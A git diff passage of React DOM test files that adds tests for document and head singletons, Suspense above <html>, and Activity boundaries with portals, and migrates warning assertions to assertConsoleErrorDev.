+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head.."></head><body data-b=""><div>..before</div><div>before..</div><div>..inside</div><div>inside..</div><div>..after</div><div>after..</div></body></html>',
+    );
+
+    await act(() => {
+      root.unmount();
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head></head><body></body></html>',
+    );
+  });
+
+  it('should render root host components into body scope when the container is a the <body> tag', async () => {
+    function App({phase}) {
+      return (
+        <>
+          {phase < 1 ? null : <div>..before</div>}
+          {phase < 3 ? <div>before</div> : null}
+          {phase < 2 ? null : <div>before..</div>}
+          <head data-h="">
+            {phase < 1 ? null : <meta itemProp="" content="..head" />}
+            {phase < 3 ? <meta itemProp="" content="head" /> : null}
+            {phase < 2 ? null : <meta itemProp="" content="head.." />}
+          </head>
+          {phase < 1 ? null : <div>..inside</div>}
+          {phase < 3 ? <div>inside</div> : null}
+          {phase < 2 ? null : <div>inside..</div>}
+          {phase < 1 ? null : <div>..after</div>}
+          {phase < 3 ? <div>after</div> : null}
+          {phase < 2 ? null : <div>after..</div>}
+        </>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(document.body);
+    await act(() => {
+      root.render(<App phase={0} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="head"></head><body><div>before</div><div>inside</div><div>after</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={1} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head"></head><body><div>..before</div><div>before</div><div>..inside</div><div>inside</div><div>..after</div><div>after</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={2} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head"><meta itemprop="" content="head.."></head><body><div>..before</div><div>before</div><div>before..</div><div>..inside</div><div>inside</div><div>inside..</div><div>..after</div><div>after</div><div>after..</div></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={3} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head.."></head><body><div>..before</div><div>before..</div><div>..inside</div><div>inside..</div><div>..after</div><div>after..</div></body></html>',
+    );
+
+    await act(() => {
+      root.unmount();
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head></head><body></body></html>',
+    );
+  });
+
+  it('should render children of <head> into the document head even when the container is inside the document body', async () => {
+    function App({phase}) {
+      return (
+        <>
+          <div>before</div>
+          <head data-h="">
+            {phase < 1 ? null : <meta itemProp="" content="..head" />}
+            {phase < 3 ? <meta itemProp="" content="head" /> : null}
+            {phase < 2 ? null : <meta itemProp="" content="head.." />}
+          </head>
+          <div>after</div>
+        </>
+      );
+    }
+
+    const container = document.createElement('main');
+    document.body.append(container);
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<App phase={0} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="head"></head><body><main><div>before</div><div>after</div></main></body></html>',
+    );
+
+    // @TODO remove this warning check when we loosen the tag nesting restrictions to allow arbitrary tags at the
+    // root of the application
+    assertConsoleErrorDev([
+      'In HTML, <head> cannot be a child of <main>.\nThis will cause a hydration error.\n' +
+        '    in head (at **)\n' +
+        '    in App (at **)',
+    ]);
+
+    await act(() => {
+      root.render(<App phase={1} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head"></head><body><main><div>before</div><div>after</div></main></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={2} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head"><meta itemprop="" content="head.."></head><body><main><div>before</div><div>after</div></main></body></html>',
+    );
+
+    await act(() => {
+      root.render(<App phase={3} />);
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head data-h=""><meta itemprop="" content="..head"><meta itemprop="" content="head.."></head><body><main><div>before</div><div>after</div></main></body></html>',
+    );
+
+    await act(() => {
+      root.unmount();
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html><head></head><body><main></main></body></html>',
+    );
+  });
+
+  it('can render a Suspense boundary above the <html> tag', async () => {
+    let suspendOnNewPromise;
+    let resolveCurrentPromise;
+    let currentPromise;
+    function createNewPromise() {
+      currentPromise = new Promise(r => {
+        resolveCurrentPromise = r;
+      });
+      return currentPromise;
+    }
+    createNewPromise();
+    function Comp() {
+      const [promise, setPromise] = React.useState(currentPromise);
+      suspendOnNewPromise = () => {
+        setPromise(createNewPromise());
+      };
+      React.use(promise);
+      return null;
+    }
+
+    const fallback = (
+      <html data-fallback="">
+        <body data-fallback="">
+          <div>fallback</div>
+        </body>
+      </html>
+    );
+
+    const main = (
+      <html lang="en">
+        <head>
+          <meta itemProp="" content="primary" />
+        </head>
+        <body>
+          <div>
+            <Message />
+          </div>
+        </body>
+      </html>
+    );
+
+    let suspendOnNewMessage;
+    let currentMessage;
+    let resolveCurrentMessage;
+    function createNewMessage() {
+      currentMessage = new Promise(r => {
+        resolveCurrentMessage = r;
+      });
+      return currentMessage;
+    }
+    createNewMessage();
+    resolveCurrentMessage('hello world');
+    function Message() {
+      const [pendingMessage, setPendingMessage] =
+        React.useState(currentMessage);
+      suspendOnNewMessage = () => {
+        setPendingMessage(createNewMessage());
+      };
+      return React.use(pendingMessage);
+    }
+
+    function App() {
+      return (
+        <React.Suspense fallback={fallback}>
+          <Comp />
+          {main}
+        </React.Suspense>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(document);
+    await act(() => {
+      root.render(<App />);
+    });
+    // The initial render is blocked by promiseA so we see the fallback Document
+    expect(document.documentElement.outerHTML).toBe(
+      '<html data-fallback=""><head></head><body data-fallback=""><div>fallback</div></body></html>',
+    );
+
+    await act(() => {
+      resolveCurrentPromise();
+    });
+    // When promiseA resolves we see the primary Document
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head><meta itemprop="" content="primary"></head><body><div>hello world</div></body></html>',
+    );
+
+    await act(() => {
+      suspendOnNewPromise();
+    });
+    // When we switch to rendering ComponentB synchronously we have to put the Document back into fallback
+    // The primary content remains hidden until promiseB resolves
+    expect(document.documentElement.outerHTML).toBe(
+      '<html data-fallback=""><head><meta itemprop="" content="primary" style="display: none;"></head><body data-fallback=""><div style="display: none;">hello world</div><div>fallback</div></body></html>',
+    );
+
+    await act(() => {
+      resolveCurrentPromise();
+    });
+    // When promiseB resolves we see the new primary content inside the primary Document
+    // style attributes stick around after being unhidden by the Suspense boundary
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head><meta itemprop="" content="primary" style=""></head><body><div style="">hello world</div></body></html>',
+    );
+
+    await act(() => {
+      React.startTransition(() => {
+        suspendOnNewPromise();
+      });
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head><meta itemprop="" content="primary" style=""></head><body><div style="">hello world</div></body></html>',
+    );
+
+    await act(() => {
+      resolveCurrentPromise();
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head><meta itemprop="" content="primary" style=""></head><body><div style="">hello world</div></body></html>',
+    );
+
+    await act(() => {
+      suspendOnNewMessage();
+    });
+    // When we update the message itself we will be causing updates on the primary content of the Suspense boundary.
+    // The reason we also test for this is to make sure we don't double acquire the document singletons while
+    // disappearing and reappearing layout effects
+    expect(document.documentElement.outerHTML).toBe(
+      '<html data-fallback=""><head><meta itemprop="" content="primary" style="display: none;"></head><body data-fallback=""><div style="display: none;">hello world</div><div>fallback</div></body></html>',
+    );
+
+    await act(() => {
+      resolveCurrentMessage('hello you!');
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head><meta itemprop="" content="primary" style=""></head><body><div style="">hello you!</div></body></html>',
+    );
+
+    await act(() => {
+      React.startTransition(() => {
+        suspendOnNewMessage();
+      });
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head><meta itemprop="" content="primary" style=""></head><body><div style="">hello you!</div></body></html>',
+    );
+
+    await act(() => {
+      resolveCurrentMessage('goodbye!');
+    });
+    expect(document.documentElement.outerHTML).toBe(
+      '<html lang="en"><head><meta itemprop="" content="primary" style=""></head><body><div style="">goodbye!</div></body></html>',
+    );
+  });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMActivity-test.js b/packages/react-dom/src/__tests__/ReactDOMActivity-test.js
new file mode 100644
index 000000000000..abaca64da260
--- /dev/null
+++ b/packages/react-dom/src/__tests__/ReactDOMActivity-test.js
@@ -0,0 +1,558 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ */
+
+'use strict';
+
+let React;
+let ReactDOM;
+let ReactDOMClient;
+let Scheduler;
+let act;
+let Activity;
+let useState;
+let useLayoutEffect;
+let useEffect;
+let LegacyHidden;
+let assertLog;
+let Suspense;
+
+describe('ReactDOMActivity', () => {
+  let container;
+
+  beforeEach(() => {
+    jest.resetModules();
+    React = require('react');
+    Scheduler = require('scheduler/unstable_mock');
+    Activity = React.Activity;
+    useState = React.useState;
+    Suspense = React.Suspense;
+    useState = React.useState;
+    LegacyHidden = React.unstable_LegacyHidden;
+    useLayoutEffect = React.useLayoutEffect;
+    useEffect = React.useEffect;
+    ReactDOM = require('react-dom');
+    ReactDOMClient = require('react-dom/client');
+    const InternalTestUtils = require('internal-test-utils');
+    act = InternalTestUtils.act;
+    assertLog = InternalTestUtils.assertLog;
+    container = document.createElement('div');
+    document.body.appendChild(container);
+  });
+
+  afterEach(() => {
+    document.body.removeChild(container);
+  });
+
+  function Text(props) {
+    Scheduler.log(props.text);
+    return <span prop={props.text}>{props.children}</span>;
+  }
+
+  it(
+    'hiding an Activity boundary also hides the direct children of any ' +
+      'portals it contains, regardless of how deeply nested they are',
+    async () => {
+      const portalContainer = document.createElement('div');
+
+      let setShow;
+      function Accordion({children}) {
+        const [shouldShow, _setShow] = useState(true);
+        setShow = _setShow;
+        return (
+          <Activity mode={shouldShow ? 'visible' : 'hidden'}>
+            {children}
+          </Activity>
+        );
+      }
+
+      function App() {
+        return (
+          <Accordion>
+            <div>
+              {ReactDOM.createPortal(
+                <div>Portal contents</div>,
+                portalContainer,
+              )}
+            </div>
+          </Accordion>
+        );
+      }
+
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => root.render(<App />));
+      expect(container.innerHTML).toBe('<div></div>');
+      expect(portalContainer.innerHTML).toBe('<div>Portal contents</div>');
+
+      // Hide the Activity boundary. Not only are the nearest DOM elements hidden,
+      // but also the children of the nested portal contained within it.
+      await act(() => setShow(false));
+      expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+      expect(portalContainer.innerHTML).toBe(
+        '<div style="display: none;">Portal contents</div>',
+      );
+    },
+  );
+
+  it(
+    'revealing an Activity boundary inside a portal does not reveal the ' +
+      'portal contents if has a hidden Activity parent',
+    async () => {
+      const portalContainer = document.createElement('div');
+
+      let setShow;
+      function Accordion({children}) {
+        const [shouldShow, _setShow] = useState(false);
+        setShow = _setShow;
+        return (
+          <Activity mode={shouldShow ? 'visible' : 'hidden'}>
+            {children}
+          </Activity>
+        );
+      }
+
+      function App() {
+        return (
+          <Activity mode="hidden">
+            <div>
+              {ReactDOM.createPortal(
+                <Accordion>
+                  <div>Portal contents</div>
+                </Accordion>,
+                portalContainer,
+              )}
+            </div>
+          </Activity>
+        );
+      }
+
+      // Start with both boundaries hidden.
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => root.render(<App />));
+      expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+      expect(portalContainer.innerHTML).toBe(
+        '<div style="display: none;">Portal contents</div>',
+      );
+
+      // Reveal the inner Activity boundary. It should not reveal its children,
+      // because there's a parent Activity boundary that is still hidden.
+      await act(() => setShow(true));
+      expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+      expect(portalContainer.innerHTML).toBe(
+        '<div style="display: none;">Portal contents</div>',
+      );
+    },
+  );
+
+  it('hides new portals added to an already hidden tree', async () => {
+    function Child() {
+      return <Text text="Child" />;
+    }
+
+    const portalContainer = document.createElement('div');
+
+    function Portal({children}) {
+      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    // Mount hidden tree.
+    await act(() => {
+      root.render(
+        <Activity mode="hidden">
+          <Text text="Parent" />
+        </Activity>,
+      );
+    });
+    assertLog(['Parent']);
+    expect(container.innerHTML).toBe(
+      '<span prop="Parent" style="display: none;"></span>',
+    );
+    expect(portalContainer.innerHTML).toBe('');
+
+    // Add a portal inside the hidden tree.
+    await act(() => {
+      root.render(
+        <Activity mode="hidden">
+          <Text text="Parent" />
+          <Portal>
+            <Child />
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog(['Parent', 'Child']);
+    expect(container.innerHTML).toBe(
+      '<span prop="Parent" style="display: none;"></span><div style="display: none;"></div>',
+    );
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style="display: none;"></span>',
+    );
+
+    // Now reveal it.
+    await act(() => {
+      root.render(
+        <Activity mode="visible">
+          <Text text="Parent" />
+          <Portal>
+            <Child />
+          </Portal>
+        </Activity>,
+      );
+    });
+
+    assertLog(['Parent', 'Child']);
+    expect(container.innerHTML).toBe(
+      '<span prop="Parent" style=""></span><div style=""></div>',
+    );
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style=""></span>',
+    );
+  });
+
+  it('hides new insertions inside an already hidden portal', async () => {
+    function Child({text}) {
+      useLayoutEffect(() => {
+        Scheduler.log(`Mount layout ${text}`);
+        return () => {
+          Scheduler.log(`Unmount layout ${text}`);
+        };
+      }, [text]);
+      return <Text text={text} />;
+    }
+
+    const portalContainer = document.createElement('div');
+
+    function Portal({children}) {
+      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    // Mount hidden tree.
+    await act(() => {
+      root.render(
+        <Activity mode="hidden">
+          <Portal>
+            <Child text="A" />
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog(['A']);
+    expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="A" style="display: none;"></span>',
+    );
+
+    // Add a node inside the hidden portal.
+    await act(() => {
+      root.render(
+        <Activity mode="hidden">
+          <Portal>
+            <Child text="A" />
+            <Child text="B" />
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog(['A', 'B']);
+    expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="A" style="display: none;"></span><span prop="B" style="display: none;"></span>',
+    );
+
+    // Now reveal it.
+    await act(() => {
+      root.render(
+        <Activity mode="visible">
+          <Portal>
+            <Child text="A" />
+            <Child text="B" />
+          </Portal>
+        </Activity>,
+      );
+    });
+
+    assertLog(['A', 'B', 'Mount layout A', 'Mount layout B']);
+    expect(container.innerHTML).toBe('<div style=""></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="A" style=""></span><span prop="B" style=""></span>',
+    );
+  });
+
+  it('reveal an inner Suspense boundary without revealing an outer Activity on the same host child', async () => {
+    const promise = new Promise(() => {});
+
+    function Child({showInner}) {
+      useLayoutEffect(() => {
+        Scheduler.log('Mount layout');
+        return () => {
+          Scheduler.log('Unmount layout');
+        };
+      }, []);
+      return (
+        <>
+          {showInner ? null : promise}
+          <Text text="Child" />
+        </>
+      );
+    }
+
+    const portalContainer = document.createElement('div');
+
+    function Portal({children}) {
+      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+
+    // Prerender the whole tree.
+    await act(() => {
+      root.render(
+        <Activity mode="hidden">
+          <Portal>
+            <Suspense name="Inner" fallback={<span>Loading</span>}>
+              <Child showInner={true} />
+            </Suspense>
+          </Portal>
+        </Activity>,
+      );
+    });
+
+    assertLog(['Child']);
+    expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style="display: none;"></span>',
+    );
+
+    // Re-suspend the inner.
+    await act(() => {
+      root.render(
+        <Activity mode="hidden">
+          <Portal>
+            <Suspense name="Inner" fallback={<span>Loading</span>}>
+              <Child showInner={false} />
+            </Suspense>
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog([]);
+    expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style="display: none;"></span><span style="display: none;">Loading</span>',
+    );
+
+    // Toggle to visible while suspended.
+    await act(() => {
+      root.render(
+        <Activity mode="visible">
+          <Portal>
+            <Suspense name="Inner" fallback={<span>Loading</span>}>
+              <Child showInner={false} />
+            </Suspense>
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog([]);
+    expect(container.innerHTML).toBe('<div style=""></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style="display: none;"></span><span style="">Loading</span>',
+    );
+
+    // Now reveal.
+    await act(() => {
+      root.render(
+        <Activity mode="visible">
+          <Portal>
+            <Suspense name="Inner" fallback={<span>Loading</span>}>
+              <Child showInner={true} />
+            </Suspense>
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog(['Child', 'Mount layout']);
+    expect(container.innerHTML).toBe('<div style=""></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style=""></span>',
+    );
+  });
+
+  it('mounts/unmounts layout effects in portal when visibility changes (starting visible)', async () => {
+    function Child() {
+      useLayoutEffect(() => {
+        Scheduler.log('Mount layout');
+        return () => {
+          Scheduler.log('Unmount layout');
+        };
+      }, []);
+      return <Text text="Child" />;
+    }
+
+    const portalContainer = document.createElement('div');
+
+    function Portal({children}) {
+      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    // Mount visible tree.
+    await act(() => {
+      root.render(
+        <Activity mode="visible">
+          <Portal>
+            <Child />
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog(['Child', 'Mount layout']);
+    expect(container.innerHTML).toBe('<div></div>');
+    expect(portalContainer.innerHTML).toBe('<span prop="Child"></span>');
+
+    // Hide the tree. The layout effect is unmounted.
+    await act(() => {
+      root.render(
+        <Activity mode="hidden">
+          <Portal>
+            <Child />
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog(['Unmount layout', 'Child']);
+    expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style="display: none;"></span>',
+    );
+  });
+
+  it('mounts/unmounts layout effects in portal when visibility changes (starting hidden)', async () => {
+    function Child() {
+      useLayoutEffect(() => {
+        Scheduler.log('Mount layout');
+        return () => {
+          Scheduler.log('Unmount layout');
+        };
+      }, []);
+      return <Text text="Child" />;
+    }
+
+    const portalContainer = document.createElement('div');
+
+    function Portal({children}) {
+      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    // Mount hidden tree.
+    await act(() => {
+      root.render(
+        <Activity mode="hidden">
+          <Portal>
+            <Child />
+          </Portal>
+        </Activity>,
+      );
+    });
+    // No layout effect.
+    assertLog(['Child']);
+    expect(container.innerHTML).toBe('<div style="display: none;"></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style="display: none;"></span>',
+    );
+
+    // Unhide the tree. The layout effect is mounted.
+    await act(() => {
+      root.render(
+        <Activity mode="visible">
+          <Portal>
+            <Child />
+          </Portal>
+        </Activity>,
+      );
+    });
+    assertLog(['Child', 'Mount layout']);
+    expect(container.innerHTML).toBe('<div style=""></div>');
+    expect(portalContainer.innerHTML).toBe(
+      '<span prop="Child" style=""></span>',
+    );
+  });
+
+  // @gate enableLegacyHidden
+  it('does not toggle effects or hide nodes for LegacyHidden component inside portal', async () => {
+    function Child() {
+      useLayoutEffect(() => {
+        Scheduler.log('Mount layout');
+        return () => {
+          Scheduler.log('Unmount layout');
+        };
+      }, []);
+      useEffect(() => {
+        Scheduler.log('Mount passive');
+        return () => {
+          Scheduler.log('Unmount passive');
+        };
+      }, []);
+      return <Text text="Child" />;
+    }
+
+    const portalContainer = document.createElement('div');
+
+    function Portal({children}) {
+      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    // Mount visible tree.
+    await act(() => {
+      root.render(
+        <LegacyHidden mode="visible">
+          <Portal>
+            <Child />
+          </Portal>
+        </LegacyHidden>,
+      );
+    });
+    assertLog(['Child', 'Mount layout', 'Mount passive']);
+    expect(container.innerHTML).toBe('<div></div>');
+    expect(portalContainer.innerHTML).toBe('<span prop="Child"></span>');
+
+    // Hide the tree.
+    await act(() => {
+      root.render(
+        <LegacyHidden mode="hidden">
+          <Portal>
+            <Child />
+          </Portal>
+        </LegacyHidden>,
+      );
+    });
+    // Effects not unmounted.
+    assertLog(['Child']);
+    expect(container.innerHTML).toBe('<div></div>');
+    expect(portalContainer.innerHTML).toBe('<span prop="Child"></span>');
+
+    // Unhide the tree.
+    await act(() => {
+      root.render(
+        <LegacyHidden mode="visible">
+          <Portal>
+            <Child />
+          </Portal>
+        </LegacyHidden>,
+      );
+    });
+    // Effects already mounted.
+    assertLog(['Child']);
+    expect(container.innerHTML).toBe('<div></div>');
+    expect(portalContainer.innerHTML).toBe('<span prop="Child"></span>');
+  });
+});
diff --git a/packages/react-dom/src/__tests__/ReactDOMAttribute-test.js b/packages/react-dom/src/__tests__/ReactDOMAttribute-test.js
index 9b7d9a30cbd5..af128d180e8d 100644
--- a/packages/react-dom/src/__tests__/ReactDOMAttribute-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMAttribute-test.js
@@ -9,16 +9,26 @@
 
 'use strict';
 
+// Fix JSDOM. setAttribute is supposed to throw on things that can't be implicitly toStringed.
+const setAttribute = Element.prototype.setAttribute;
+Element.prototype.setAttribute = function (name, value) {
+  // eslint-disable-next-line react-internal/safe-string-coercion
+  return setAttribute.call(this, name, '' + value);
+};
+
 describe('ReactDOM unknown attribute', () => {
   let React;
   let ReactDOMClient;
   let act;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.resetModules();
     React = require('react');
     ReactDOMClient = require('react-dom/client');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
   });
 
   async function testUnknownAttributeRemoval(givenValue) {
@@ -62,12 +72,13 @@ describe('ReactDOM unknown attribute', () => {
     });
 
     it('changes values true, false to null, and also warns once', async () => {
-      await expect(() => testUnknownAttributeAssignment(true, null)).toErrorDev(
+      await testUnknownAttributeAssignment(true, null);
+      assertConsoleErrorDev([
         'Received `true` for a non-boolean attribute `unknown`.\n\n' +
           'If you want to write it to the DOM, pass a string instead: ' +
           'unknown="true" or unknown={value.toString()}.\n' +
           '    in div (at **)',
-      );
+      ]);
       await testUnknownAttributeAssignment(false, null);
     });
 
@@ -92,11 +103,9 @@ describe('ReactDOM unknown attribute', () => {
       const el = document.createElement('div');
       const root = ReactDOMClient.createRoot(el);
 
-      await expect(async () => {
-        await act(() => {
-          root.render(<div inert={true} />);
-        });
-      }).toErrorDev([]);
+      await act(() => {
+        root.render(<div inert={true} />);
+      });
 
       expect(el.firstChild.getAttribute('inert')).toBe(true ? '' : null);
     });
@@ -105,15 +114,15 @@ describe('ReactDOM unknown attribute', () => {
       const el = document.createElement('div');
       const root = ReactDOMClient.createRoot(el);
 
-      await expect(async () => {
-        await act(() => {
-          root.render(<div inert="" />);
-        });
-      }).toErrorDev([
+      await act(() => {
+        root.render(<div inert="" />);
+      });
+      assertConsoleErrorDev([
         'Received an empty string for a boolean attribute `inert`. ' +
           'This will treat the attribute as if it were false. ' +
           'Either pass `false` to silence this warning, or ' +
-          'pass `true` if you used an empty string in earlier versions of React to indicate this attribute is true.',
+          'pass `true` if you used an empty string in earlier versions of React to indicate this attribute is true.\n' +
+          '    in div (at **)',
       ]);
 
       expect(el.firstChild.getAttribute('inert')).toBe(true ? null : '');
@@ -136,11 +145,12 @@ describe('ReactDOM unknown attribute', () => {
     });
 
     it('coerces NaN to strings and warns', async () => {
-      await expect(() => testUnknownAttributeAssignment(NaN, 'NaN')).toErrorDev(
+      await testUnknownAttributeAssignment(NaN, 'NaN');
+      assertConsoleErrorDev([
         'Received NaN for the `unknown` attribute. ' +
           'If this is expected, cast the value to a string.\n' +
           '    in div (at **)',
-      );
+      ]);
     });
 
     it('coerces objects to strings and warns', async () => {
@@ -167,52 +177,52 @@ describe('ReactDOM unknown attribute', () => {
       }
       const test = () =>
         testUnknownAttributeAssignment(new TemporalLike(), null);
-      await expect(() =>
-        expect(test).rejects.toThrowError(new TypeError('prod message')),
-      ).toErrorDev(
+
+      await expect(test).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'The provided `unknown` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
-      );
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('removes symbols and warns', async () => {
-      await expect(() => testUnknownAttributeRemoval(Symbol('foo'))).toErrorDev(
+      await testUnknownAttributeRemoval(Symbol('foo'));
+      assertConsoleErrorDev([
         'Invalid value for prop `unknown` on <div> tag. Either remove it ' +
           'from the element, or pass a string or number value to keep it ' +
           'in the DOM. For details, see https://react.dev/link/attribute-behavior \n' +
           '    in div (at **)',
-      );
+      ]);
     });
 
     it('removes functions and warns', async () => {
-      await expect(() =>
-        testUnknownAttributeRemoval(function someFunction() {}),
-      ).toErrorDev(
+      await testUnknownAttributeRemoval(function someFunction() {});
+      assertConsoleErrorDev([
         'Invalid value for prop `unknown` on <div> tag. Either remove ' +
           'it from the element, or pass a string or number value to ' +
           'keep it in the DOM. For details, see ' +
           'https://react.dev/link/attribute-behavior \n' +
           '    in div (at **)',
-      );
+      ]);
     });
 
     it('allows camelCase unknown attributes and warns', async () => {
       const el = document.createElement('div');
 
-      await expect(async () => {
-        const root = ReactDOMClient.createRoot(el);
+      const root = ReactDOMClient.createRoot(el);
 
-        await act(() => {
-          root.render(<div helloWorld="something" />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div helloWorld="something" />);
+      });
+      assertConsoleErrorDev([
         'React does not recognize the `helloWorld` prop on a DOM element. ' +
           'If you intentionally want it to appear in the DOM as a custom ' +
           'attribute, spell it as lowercase `helloworld` instead. ' +
           'If you accidentally passed it from a parent component, remove ' +
           'it from the DOM element.\n' +
           '    in div (at **)',
-      );
+      ]);
 
       expect(el.firstChild.getAttribute('helloworld')).toBe('something');
     });
diff --git a/packages/react-dom/src/__tests__/ReactDOMComponent-test.js b/packages/react-dom/src/__tests__/ReactDOMComponent-test.js
index 6e02e17ece1a..0f0986dde8e3 100644
--- a/packages/react-dom/src/__tests__/ReactDOMComponent-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMComponent-test.js
@@ -19,6 +19,7 @@ describe('ReactDOMComponent', () => {
   let act;
   let assertLog;
   let Scheduler;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.resetModules();
@@ -28,6 +29,8 @@ describe('ReactDOMComponent', () => {
     ReactDOMServer = require('react-dom/server');
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     assertLog = require('internal-test-utils').assertLog;
   });
 
@@ -189,73 +192,72 @@ describe('ReactDOMComponent', () => {
     it('should warn for unknown prop', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div foo={() => {}} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div foo={() => {}} />);
+      });
+      assertConsoleErrorDev([
         'Invalid value for prop `foo` on <div> tag. Either remove it ' +
           'from the element, or pass a string or number value to keep ' +
           'it in the DOM. For details, see https://react.dev/link/attribute-behavior ' +
           '\n    in div (at **)',
-      );
+      ]);
     });
 
     it('should group multiple unknown prop warnings together', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div foo={() => {}} baz={() => {}} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div foo={() => {}} baz={() => {}} />);
+      });
+      assertConsoleErrorDev([
         'Invalid values for props `foo`, `baz` on <div> tag. Either remove ' +
           'them from the element, or pass a string or number value to keep ' +
           'them in the DOM. For details, see https://react.dev/link/attribute-behavior ' +
           '\n    in div (at **)',
-      );
+      ]);
     });
 
     it('should warn for onDblClick prop', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div onDblClick={() => {}} />);
-        });
-      }).toErrorDev(
-        'Invalid event handler property `onDblClick`. Did you mean `onDoubleClick`?\n    in div (at **)',
-      );
+      await act(() => {
+        root.render(<div onDblClick={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid event handler property `onDblClick`. Did you mean `onDoubleClick`?\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn for unknown string event handlers', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
